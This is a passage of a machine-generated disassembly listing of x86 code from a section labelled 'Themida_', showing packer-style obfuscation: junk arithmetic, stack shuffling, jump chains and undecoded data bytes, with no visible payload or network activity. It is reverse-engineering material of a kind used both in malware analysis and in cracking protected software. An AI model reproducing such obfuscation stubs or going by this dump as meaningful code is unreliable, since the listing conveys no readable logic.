		dd 0C4832404h, 4EF76804h, 7BE90000h, 52FFFFEFh,	45AD5BAh
		dd 76E2813Fh, 8132835Dh, 5529E3EAh, 44EA817Fh, 8131A069h
		dd 0D4B9F5EAh, 5AD58975h, 0E95DEF01h, 71CDh, 582434FFh
		dd 570F6853h, 76E90000h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		sub	ebp, 3303299h
		jmp	loc_511912
; ---------------------------------------------------------------------------
		db 58h
		dd 0EA81DA01h, 57C42CC7h, 4D4BD55h, 78E93AF7h
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_513563:				; CODE XREF: Themida_:0050EE43j
		mov	ebx, [esp]
		jmp	loc_518D07
; ---------------------------------------------------------------------------
		db 29h
		dd 5FBF57E8h, 2977946Dh, 815EE9F8h, 362CFFFFh, 24148B66h
		dd 2C481h, 0EC810000h, 4, 68241C89h, 4329h, 53240489h
		dd 0C380C6B3h, 8A6AE9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5135A2:				; CODE XREF: Themida_:00514445j
		add	esp, 4
		jmp	loc_50D4F1
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FF2434FFh, 81592434h, 4C4h,	0E1895100h, 4C181h, 0C1830000h
		dd 240C8704h, 0E924248Bh, 0FFFFF72Fh, 4B6EE981h, 0C9813F9Bh
		dd 3E9E04E3h, 2B60BB53h, 0F381118Ah, 0CD84F8F7h, 0D6E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5135F1:				; CODE XREF: Themida_:00520558j
		push	eax
		mov	eax, 0E5C468DBh
		sub	edi, 3309042Ah
		add	edi, eax
		push	esi
		push	edx
		mov	edx, 135577ACh
		mov	esi, edx
		pop	edx
		jmp	loc_51D84E
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 79E9C8B6h, 0B8FFFFF0h, 4, 0FF9B49E9h, 240431FFh, 5C240433h
		dd 0FF7FB8E9h, 24048FFFh, 5124248Bh, 0FFC94AE9h, 2474FFFFh
		dd 24148B04h, 8F04C483h, 248B2404h, 14896624h, 9C506624h
		dd 0FF7F90E9h, 1ABB53FFh, 293E897Fh, 0EC815BDFh, 4, 0BA241489h
		dd 339619Fh, 8B5AD729h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	edi, [esp]
		jmp	loc_5179D0
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 5604C483h, 0C681E689h, 4, 4C681h, 34870000h,	0C7835C24h
		dd 53E95704h
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5136AF:				; CODE XREF: Themida_:00518672j
		xor	edi, 6309C7A4h
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_520A3D
; ---------------------------------------------------------------------------
		db 81h
		dd 0F8B41FEFh, 0E9FE8966h, 1705h, 57B45066h, 5866E328h
		dd 505DB652h, 0C6280FB0h, 0CCA4E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5136E6:				; CODE XREF: Themida_:00518AA6j
		inc	bh
		xor	bh, 2
		sub	dl, bh
		pop	ebx
		pop	eax
		shl	dl, 6
		add	dl, 34h
		add	dl, 1Bh
		add	al, 0Eh
		push	4E91h
		jmp	loc_517D55
; ---------------------------------------------------------------------------


loc_513704:				; CODE XREF: Themida_:00513E99j
		shr	ebp, 6
		push	esi
		mov	esi, 70A56D2Ah
		not	esi
		add	esi, 28C11BB3h
		sub	esi, 2F9F127Eh
		xor	esi, 0E78DD3F9h
		or	ebp, esi
		pop	esi
		shr	ebp, 1
		xor	ebp, 37F9E7FDh
		add	edx, ebp
		jmp	loc_51FB06
; ---------------------------------------------------------------------------
		align 4
aSK		db 'k',0
		align 2


loc_51373A:				; CODE XREF: Themida_:00511378j
		pop	ebp
		dec	edi
		push	esi
		mov	esi, 14D766CDh
		jmp	loc_513912
; ---------------------------------------------------------------------------


loc_513747:				; CODE XREF: Themida_:0051004Aj
		push	dword ptr [esp]
		pop	esi
		jmp	loc_50D7BD
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFFA495h
; ---------------------------------------------------------------------------


loc_513758:				; CODE XREF: Themida_:00518620j
		sub	edx, 573674AAh
		push	esi
		mov	esi, 3E661F24h
		sub	esi, 1
		sub	esi, 3C8E89D1h
		xor	edx, esi
		pop	esi
		add	edi, edx
		mov	edx, [esp]
		jmp	loc_51905A
; ---------------------------------------------------------------------------
		dw 34BAh
		dd 811BD40Bh, 406F25EAh, 0AFD9E95Dh, 0E950FFFFh, 67ACh
		dd 5202C483h, 0D2F6AFB2h, 0FFFD1BE9h, 0C0B60FFFh, 4406866h
		dd 24048966h, 0FF7E38E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5137AD:				; CODE XREF: Themida_:00512870j
		pop	esp
		neg	esi
		jmp	loc_50CFE0
; ---------------------------------------------------------------------------


loc_5137B5:				; CODE XREF: Themida_:0050CB2Cj
		xor	ebp, edx
		pop	edx
		and	eax, ebp
		jmp	loc_512A32
; ---------------------------------------------------------------------------


loc_5137BF:				; CODE XREF: Themida_:0050F29Dj
		mov	[esp], ecx
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E981E901h, 0CB448A8h, 0FF8044E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5137D5:				; CODE XREF: Themida_:0051E544j
		add	esp, 4
		push	6C5Dh
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 2E7C7345h
		shl	edi, 1
		push	ecx
		mov	ecx, 2C030E62h
		xor	edi, ecx
		jmp	loc_520FD9
; ---------------------------------------------------------------------------
aSsap		db 'SP',0
		db 0
; ---------------------------------------------------------------------------


loc_5137FD:				; CODE XREF: Themida_:00515DB1j
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_50CFFB
; ---------------------------------------------------------------------------
		dd 8B062CBAh, 0D1EA8144h, 0C123F718h, 0BB5307EAh, 66F84481h
		dd 4A5BDA21h, 0FFE4DCE9h, 3CBF57FFh, 0E90DC84Ah, 9A9Fh
; ---------------------------------------------------------------------------


loc_513838:				; CODE XREF: Themida_:00514F13j
		add	dword ptr [esp+4], 1E735193h
		pop	edi
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5104EE
; ---------------------------------------------------------------------------


loc_51384F:				; CODE XREF: Themida_:0050BC2Dj
		mov	ecx, 0C1413E7h
		push	ebx
		mov	ebx, 1B1055FEh
		and	ecx, ebx
		pop	ebx
		and	ecx, 64D749EEh
		jmp	loc_50C750
; ---------------------------------------------------------------------------


loc_513868:				; CODE XREF: Themida_:00512EA9j
		xor	esi, 46F33C35h
		shl	esi, 2
		add	esi, 723E5674h
		add	esi, 0A0D667A9h
		mov	ebp, esi
		mov	esi, [esp]
		jmp	loc_515552
; ---------------------------------------------------------------------------


loc_513887:				; CODE XREF: Themida_:0051750Bj
		pop	edx
		shr	eax, 0Ah
		xor	eax, ecx
		push	8A8h
		mov	[esp], eax
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_515121
; ---------------------------------------------------------------------------


loc_5138BC:				; CODE XREF: Themida_:0051C685j
		push	eax
		jmp	loc_515410
; ---------------------------------------------------------------------------
		dw 1489h
		dd 56E28924h, 39AE9h, 68535D00h, 2, 5B2434FFh, 0FF83D2E9h
		dd 0A7EA81FFh, 0E925824Fh, 0A9D9h, 0C981D9F7h, 4FC22537h
		dd 6F33E981h, 47E97FEBh, 1FFFFA8h, 0F2BB53F8h, 293DFD32h
		dd 555F5BD8h, 2BDh, 1750E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_513912:				; CODE XREF: Themida_:00513742j
		sub	edi, esi
		jmp	loc_514992
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0A5h
		dd 815D4C38h, 0BEFB19EAh, 5AD629D4h, 0FF2434FFh, 835B2434h
		dd 0C48104C4h, 4, 0C681C601h, 15784AC1h, 679668h, 24348900h
		dd 0D2DEE9h, 30736800h,	2C890000h, 3652BD24h, 0E5C142E1h
		dd 52BF5705h, 1415C3Ah,	52515FFDh, 372E4ABAh, 5E2C17Dh
		dd 3C8EF281h, 0DAF74AD0h, 13C2814Ah, 0E92B9E2Ah, 0FFFFD694h
		dd 5C24048Fh, 54243C89h, 0FF8518E9h, 48B66FFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		mov	eax, 4
		mov	ecx, eax
		pop	eax
		sub	ebp, 9A75936h
		add	ebp, ecx
		add	ebp, 9A75936h
		jmp	loc_520FF5
; ---------------------------------------------------------------------------


loc_5139B5:				; CODE XREF: Themida_:0051536Fj
		pop	esp
		xchg	esi, [esp]
		jmp	loc_510AA4
; ---------------------------------------------------------------------------


loc_5139BE:				; CODE XREF: Themida_:0051A515j
		sub	cl, 66h
		jmp	loc_519E97
; ---------------------------------------------------------------------------
		dw 0FF53h
		dd 8B042474h, 0C481241Ch, 4, 0A834E9h, 4EB8100h, 87000000h
		dd 895C241Ch, 4812424h,	424h, 24048F00h, 0B14FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5139F5:				; CODE XREF: Themida_:005187D7j
		add	al, dh
		mov	dx, [esp]
		push	50ACh
		mov	[esp], ebx
		jmp	loc_5142D7
; ---------------------------------------------------------------------------


loc_513A08:				; CODE XREF: Themida_:0052036Ej
		mov	ecx, 58E02C14h
		add	[esp+8], ecx
		jmp	loc_511296
; ---------------------------------------------------------------------------


loc_513A16:				; CODE XREF: Themida_:0051DD2Dj
		sub	ecx, ebx
		push	eax
		mov	eax, 25F8760Fh
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_50D184
; ---------------------------------------------------------------------------
		dd 389DC281h, 0D7310D97h, 1ACF815Ah, 0E9536036h, 0C287h
; ---------------------------------------------------------------------------


loc_513A40:				; CODE XREF: Themida_:00519CCEj
		pop	eax
		sub	bl, 0E0h
		sub	bl, 1Eh
		movzx	eax, al
		jmp	loc_51BC9E
; ---------------------------------------------------------------------------
		db 83h
		dd 48904ECh, 0B78DE924h, 0E9500000h, 6802h, 0F624B151h
		dd 0C6E980D1h, 0E9D0C9FEh, 8013E180h, 0CB88C9C1h, 66DA3059h
		dd 83241C8Bh, 0D00002C4h, 2434FF5Ah, 4C4835Ah, 0B60FC330h
		dd 8734FFC0h, 1E96853h,	34FF109Bh, 92E6E924h, 0F281FFFFh
		dd 13157655h, 815AD609h, 664E5F6h, 4CC38121h, 290A7B15h
		dd 4CEB81F3h, 0E90A7B15h, 0C040h
; ---------------------------------------------------------------------------


loc_513AC0:				; CODE XREF: Themida_:0051BAD0j
		sub	edx, 4
		jmp	loc_5159F1
; ---------------------------------------------------------------------------
		dd 8107EAC1h, 0FFFFFFEAh, 8E2C1FFh, 2414F752h, 1832E95Ah
		dd 0EB890000h, 0E9242C8Bh, 0B158h, 0FC33166h, 0EC83C0B7h
		dd 24148904h, 21E868h, 241C8900h, 0BA52E389h, 6EC001D9h
		dd 0E9D2F74Ah, 500Eh, 242C875Eh, 8BD7E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513B16:				; CODE XREF: Themida_:00519DA6j
		mov	ecx, 24h
		push	edx
		mov	edx, 72562D7h
		jmp	loc_51763A
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 41D33E9Bh, 7EB9515Eh, 81665038h, 0B55F0AF1h,	5749414Fh
		dd 0D244F0BFh, 0F2F78120h, 0F75A6841h, 30C781DFh, 31E0986Bh
		dd 0C8015FF9h, 0B2B3E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_513B5A:				; CODE XREF: Themida_:00520FF0j
		push	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 7B1D3FFAh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 284F34F0h
		jmp	loc_520D7A
; ---------------------------------------------------------------------------
		dw 8743h
		dd 8777E9DAh, 0BE66FFFFh, 16637FCh, 66062474h, 2A9FE95Eh
		dd 0FD080000h, 0F5805B66h, 55C780C0h, 43EF80h, 43C780EFh
		dd 5955EF80h, 0C3E9C728h, 0F7000058h, 0E95F2414h, 0FFFF94B9h
		dd 5C242C87h, 0F66C331h, 686600B6h, 89664F31h, 0AE92404h
		dd 89FFFF7Ah, 24048BC3h, 4C481h, 61E90000h, 0B20000B6h
		dd 0CF6DE90Bh, 0BD55FFFFh, 76061D8Dh, 0E95DEF29h, 0FFFF89D6h
; ---------------------------------------------------------------------------


loc_513C00:				; CODE XREF: Themida_:0051816Bj
		shr	esi, 1
		xor	esi, 35827B6Fh
		push	esi
		pop	ebp
		pop	esi
		shl	ebp, 2
		sub	esp, 4
		jmp	loc_51C1D4
; ---------------------------------------------------------------------------
		db 57h,	89h, 0C7h
		dd 585FFE89h, 6BE9h
		db 0
; ---------------------------------------------------------------------------


loc_513C25:				; CODE XREF: Themida_:0051FCAEj
		xchg	ebp, [esp]
		pop	esp
		xor	eax, ecx
		jmp	loc_51CB68
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 3114203Dh, 8103E3C1h, 0A101ECF3h, 0CAC78188h
		dd 133C368h, 0CD37E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_513C4E:				; CODE XREF: Themida_:005205CFj
		dec	eax
		jmp	loc_51D0D2
; ---------------------------------------------------------------------------
		dd 1374EF81h, 0EF8120C1h, 29433918h, 8EE9EF01h,	0BE0000B4h
		dd 4, 815EF201h, 4C2h, 24148700h, 2022E9h, 24348700h, 0FFDEB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_513C85:				; CODE XREF: Themida_:0050CDBFj
		sub	esp, 4
		jmp	loc_5147C5
; ---------------------------------------------------------------------------
		dd 7FF9C781h, 0E3E9038Ah, 0FFFFC7h, 0AC89E9E8h,	0F752FFFFh
		dd 0BEE92414h, 0B5000051h, 5AF52814h, 0E9EFF580h, 0FFFFFD97h
		dd 53F3B151h, 0E380A3B3h, 86E38081h, 0CBFED3F6h, 5FEB80h
		dd 0C6805BD9h, 80CE2881h, 6FE981EEh, 870000A7h,	248B240Ch
		dd 0C8B6624h, 0A05DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513CEA:				; CODE XREF: Themida_:0051A033j
		mov	edi, 1E55602h
		jmp	loc_51A480
; ---------------------------------------------------------------------------


loc_513CF4:				; CODE XREF: Themida_:00520DE0j
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	small word ptr [eax]
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------


loc_513D01:				; CODE XREF: Themida_:005178DFj
		or	edx, 3EEF7FC5h
		jmp	loc_51A029
; ---------------------------------------------------------------------------


loc_513D0C:				; CODE XREF: Themida_:00512D1Fj
		mov	ebp, 2E7B3B54h
		add	ecx, 6C034EDFh
		add	ecx, ebp
		sub	ecx, 6C034EDFh
		pop	ebp
		mov	esi, ecx
		pop	ecx
		add	esi, 0A3DAA330h
		add	ebp, 55735353h
		add	ebp, esi
		push	eax
		mov	eax, 55735353h
		sub	ebp, eax
		pop	eax
		push	dword ptr [esp]
		jmp	loc_5114B9
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 34FFC831h, 240C8B24h, 21FE9h, 1BE00h, 0EA810000h
		dd 737C158Ah, 8AE9F201h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_513D67:				; CODE XREF: Themida_:0051F26Bj
		push	ebp
		pop	esi
		jmp	loc_5202C0
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2434FF04h, 4C48359h,	0FF7868E9h, 56C280FFh, 0FF7DFFE9h
		dd 9CBA52FFh, 81542B2Ah, 287322EAh, 0EFCA8145h,	0C128B529h
		dd 99E907EAh, 68000099h, 3BE6h,	0BE243489h, 69C84CACh
		dd 370EF681h, 0C683657Fh, 55DEF701h, 38B9E9h
		db 0
; ---------------------------------------------------------------------------


loc_513DBD:				; CODE XREF: Themida_:0050F048j
		pop	ebp
		push	ebx
		mov	ebx, 0
		sub	ebx, 34C74DD7h
		add	ebx, ecx
		add	ebx, 34C74DD7h
		push	edx
		mov	edx, 0
		add	edx, ebx
		jmp	loc_51E0CF
; ---------------------------------------------------------------------------


loc_513DDF:				; CODE XREF: Themida_:00519C29j
		push	esi
		jmp	loc_51C3DC
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 4Ah
		dd 476D8822h, 16CEF81h,	0EF815E3Fh, 29465DB3h, 525FFB01h
		dd 4BAh, 0E9D32900h, 0FFFFA231h
; ---------------------------------------------------------------------------


loc_513E08:				; CODE XREF: Themida_:00515CD7j
		mov	esp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	582Eh
		mov	[esp], edi
		push	ecx
		push	0D43758Fh
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 46055A83h
		and	edx, 219D68ECh
		jmp	loc_518DA3
; ---------------------------------------------------------------------------


loc_513E3C:				; CODE XREF: Themida_:00516C33j
		mov	ecx, 6313276Ch
		sub	ecx, 557AC084h
		sub	esi, ecx
		jmp	loc_51B61F
; ---------------------------------------------------------------------------


loc_513E4E:				; CODE XREF: Themida_:0050E33Aj
		shr	ecx, 4
		or	ecx, 5AF604EFh
		add	ecx, 0A5015315h
		add	eax, ecx
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_51F939
; ---------------------------------------------------------------------------
		db 55h
		dd 95154468h, 936FE908h, 0EC810000h, 4,	0E9241C89h, 0FFFFA6F2h
; ---------------------------------------------------------------------------


loc_513E84:				; CODE XREF: Themida_:0051FEF8j
		add	edx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 6FD9388Ah
		or	ebp, 42A2342Dh
		sub	ebp, 0B1847B7h
		jmp	loc_513704
; ---------------------------------------------------------------------------


loc_513E9E:				; CODE XREF: Themida_:00516D83j
		add	eax, 47493691h
		jmp	loc_50C085
; ---------------------------------------------------------------------------
		dd 42474FFh, 0FF2434FFh, 0A0E92434h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_513EB7:				; CODE XREF: Themida_:00520A40j
		xor	eax, ecx
		push	eax
		push	1513h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_51A61D
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 0FFB5C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_513ED9:				; CODE XREF: Themida_:0051656Aj
		shl	ebp, 1
		jmp	loc_51A9C7
; ---------------------------------------------------------------------------
		dd 0E9243489h, 0FFFFB31Ch, 8BBD5558h, 0E97B180Ah, 0B9FAh
		dd 0E924048Fh, 2DA7h, 34FFD101h, 12F0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_513F06:				; CODE XREF: Themida_:0051847Aj
		push	eax
		mov	al, 96h
		sub	dl, al
		pop	eax
		xor	ch, dl
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ch, 26h
		sub	al, 0Ch
		sub	al, ch
		add	al, 0Ch
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	0A7Dh
		jmp	loc_51C0D6
; ---------------------------------------------------------------------------


loc_513F55:				; CODE XREF: Themida_:0051509Cj
		xor	ebx, edx
		pop	edx
		jmp	loc_514A1C
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFD702h, 24048B66h, 0E904EC83h, 0B99Bh
		dd 8304C483h, 0C33104C4h, 243EE9h, 4BD00h, 6C010000h, 8B5D0424h
		dd 0D9E92404h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_513F93:				; CODE XREF: Themida_:0051A28Aj
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, 583F62C9h
		add	eax, ebx
		sub	eax, 583F62C9h
		pop	ebx
		jmp	loc_51FFEC
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 1000000h, 2434FFFBh,	4C4815Fh, 87000000h, 685C241Ch
		dd 3728h, 61B1E9h, 4C68100h, 291CF776h,	4BA52EEh, 291CF776h
		dd 0E95D5AD6h, 5DD6h
; ---------------------------------------------------------------------------


loc_513FE4:				; CODE XREF: Themida_:0051CB3Dj
		push	ebp
		mov	ebp, esp
		jmp	loc_51CE87
; ---------------------------------------------------------------------------
		dd 0D826E956h, 3768FFFFh, 0E9000018h, 0FFFFD381h, 81240C8Bh
		dd 4C4h, 9D28E900h, 1C8B0000h, 0A374E924h, 5F5AFFFFh, 6064CA81h
		dd 0F79212C2h, 0A583E9D8h, 0C2810000h, 2, 31241433h, 14332414h
		dd 8ABE924h, 875A0000h,	0DFA4E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51403E:				; CODE XREF: Themida_:0051A09Dj
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		and	ebx, edx
		mov	edx, [esp]
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_514A85
		push	4AC2h
		jmp	loc_520D88
; ---------------------------------------------------------------------------
		db 51h
		dd 4B9h, 90F0500h, 49E96879h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51408F:				; CODE XREF: Themida_:005159BFj
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edx
		mov	edx, 40181AB3h
		xor	eax, edx
		jmp	loc_518D2C
; ---------------------------------------------------------------------------
		db 57h
		dd 75A87BFh, 0E9FB211Eh, 1ED4h
; ---------------------------------------------------------------------------


loc_5140BC:				; CODE XREF: Themida_:005130EAj
		push	eax
		mov	eax, 71FB45A8h
		jmp	loc_51DBE3
; ---------------------------------------------------------------------------


loc_5140C7:				; CODE XREF: Themida_:00510710j
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	5D2Ah
		mov	[esp], eax
		jmp	loc_51AE8C
; ---------------------------------------------------------------------------
		dw 5E68h
		dd 583BBA21h, 336FE2Dh,	43962D32h, 270504BAh, 0E94816BDh
		dd 1083h, 0C721E95Fh, 68ADFFFFh, 1F5Ah,	0E9243C89h, 73BBh
; ---------------------------------------------------------------------------


loc_514108:				; CODE XREF: Themida_:0051B1A3j
		mov	ecx, 4
		sub	ebx, 739F3EBEh
		add	ebx, ecx
		jmp	loc_50E195
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 31241C33h,	1C33241Ch, 8B665C24h, 8352240Ch
		dd 248904ECh, 23A7E924h, 295A0000h, 0EEC381FBh,	816DCC6Ch
		dd 0D66F3CC3h, 32EAE945h, 34870000h, 3C895C24h,	835F5424h
		dd 148904ECh, 6E816824h, 1C890000h, 1470BB24h, 0F3811178h
		dd 3CDE5CB0h, 0DBF7D3F7h, 0B743C381h, 5A53D259h, 0E92434FFh
		dd 0FFFFDCE9h, 0BB53F101h, 24E40504h, 0FFE0F4E9h, 240C89FFh
		dd 753A71B9h, 0D478E901h, 0F796FFFFh, 0E9C631D8h, 7503h
		dd 4BAh, 8BD12900h, 56682414h, 0E9000079h, 3247h
; ---------------------------------------------------------------------------


loc_5141BC:				; CODE XREF: Themida_:00518199j
		xor	eax, ecx
		push	71h
		mov	[esp], edi
		push	ebx
		mov	ebx, esp
		jmp	loc_50F32E
; ---------------------------------------------------------------------------


loc_5141CE:				; CODE XREF: Themida_:00519DD2j
		pop	edi
		jmp	loc_51BB71
; ---------------------------------------------------------------------------
		dd 740BE95Ch, 0BE56FFFFh, 1AB533DBh, 79B1C681h,	0F68124E0h
		dd 3A033CEh, 1601EE81h,	0EE81280Eh, 0E8F74E0Ah,	2AE9F001h
		dd 0F7000047h, 52EF87D5h, 24148B57h, 0E904C483h, 2C23h
		dd 68243489h, 35B6h, 24048F54h,	0CEA0E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514222:				; CODE XREF: Themida_:00516E11j
		add	ebp, eax
		pop	eax
		jmp	loc_51FCBF
; ---------------------------------------------------------------------------
		dw 0AA68h
		dd 0E9000026h, 69C4h, 81243C8Bh, 4C4h, 24343300h, 33243431h
		dd 248B2434h, 0AE52E924h, 0C721FFFFh, 8324048Bh, 0E95204C4h
		dd 0FFFF88ECh, 0DBC58159h, 0E9155D25h, 0F4Fh, 0B850E589h
		dd 4, 4AE9C501h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514277:				; CODE XREF: Themida_:00518A2Ej
		not	edx
		add	edx, 3A8376C6h
		sub	ebp, edx
		pop	edx
		xor	ebp, 7F3D4893h
		sub	edx, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xor	edx, 37950277h
		jmp	loc_519F2E
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0A0h
		dd 0E929545Fh, 0FFFFD344h, 1CD968h, 24248900h, 0FF9DFEE9h
		dd 24048FFFh, 4567E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5142BE:				; CODE XREF: Themida_:00512DC8j
		mov	bl, 78h
		or	bl, 88h
		jmp	loc_50EFAA
; ---------------------------------------------------------------------------
		dd 50241C89h, 45615868h, 86E95807h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5142D7:				; CODE XREF: Themida_:00513A03j
		mov	ebx, esp
		jmp	loc_51D4AC
; ---------------------------------------------------------------------------


loc_5142DE:				; CODE XREF: Themida_:0051171Dj
		push	ebp
		mov	ebp, 2
		mov	edi, ebp
		pop	ebp
		sub	eax, 17207626h
		add	eax, edi
		add	eax, 17207626h
		pop	edi
		jmp	loc_51AA33
; ---------------------------------------------------------------------------
		db 29h,	0C8h, 5
		dd 26683F4Dh, 5D00159h,	75DD59B6h, 0A06DE9h, 24343300h
		dd 33243431h, 315C2434h, 0C6E92404h, 8BFFFF72h,	1EE92424h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_514327:				; CODE XREF: Themida_:00520308j
		mov	[esp], ecx
		mov	ecx, 7B090548h
		inc	ecx
		neg	ecx
		neg	ecx
		jmp	loc_50BAB8
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 1A94E9h, 24148900h, 0B951E289h, 4, 34FFCA01h, 0BE88E924h
		dd 0B252FFFFh, 5AD088C2h, 0FF72B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_514361:				; CODE XREF: Themida_:00512900j
		add	esp, 4
		push	4399h
		mov	[esp], esi
		jmp	loc_51B972
; ---------------------------------------------------------------------------
		db 80h,	0E1h, 0FCh
		dd 0C180D9F6h, 0ECB050E0h, 2C04E0C0h, 9264E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_514386:				; CODE XREF: Themida_:0051D2BCj
		push	ecx
		mov	cl, 29h
		not	cl
		push	edx
		mov	dh, 9Eh
		and	cl, dh
		pop	edx
		add	cl, 13h
		push	ax
		mov	ah, 5Ch
		add	cl, ah
		pop	ax
		add	cl, 27h
		add	bl, cl
		jmp	loc_5114ED
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 1572AEAh, 81DA2957h,	1572AC2h, 241C8B57h, 0E9E38953h
		dd 0B617h, 241C8966h, 0D80079B3h, 241C8B66h, 2802C483h
		dd 0FF792CF8h, 0E95B2434h, 0FFFF82A8h, 4B9h, 59CE2900h
		dd 0FF9BB1E9h, 0D18958FFh, 8C52E9h, 4BD00h, 0EF010000h
		dd 4C7815Dh, 0E9000000h, 0FFFF77ACh, 28C0C380h,	16E951F3h
		dd 68000042h, 583h, 83242489h, 0FF042404h, 1EE92434h, 0B4FFFF78h
		dd 66E22816h, 77DCE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51442E:				; CODE XREF: Themida_:0050CC28j
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_517565
; ---------------------------------------------------------------------------


loc_514438:				; CODE XREF: Themida_:005188D2j
		push	122794Dh
		pop	esi
		add	[esp+4], esi
		mov	esi, [esp]
		jmp	loc_5135A2
; ---------------------------------------------------------------------------


loc_51444A:				; CODE XREF: Themida_:00515C00j
		mov	esp, [esp]
		sub	ebp, 1
		inc	ebp
		shl	ebp, 4
		add	ebp, 0F0D8C280h
		mov	ecx, ebp
		jmp	loc_518F49
; ---------------------------------------------------------------------------
		db 5Eh,	8Fh, 4
		dd 24248B24h, 66F13166h, 3166CE31h, 0C3166F1h, 0C336624h
		dd 0C316624h, 7163E924h, 835AFFFFh, 2D6804C4h, 0E9000010h
		dd 0FFFF75F5h
; ---------------------------------------------------------------------------


loc_514490:				; CODE XREF: Themida_:00517513j
		mov	ah, 5Eh
		shl	ah, 4
		shr	ah, 5
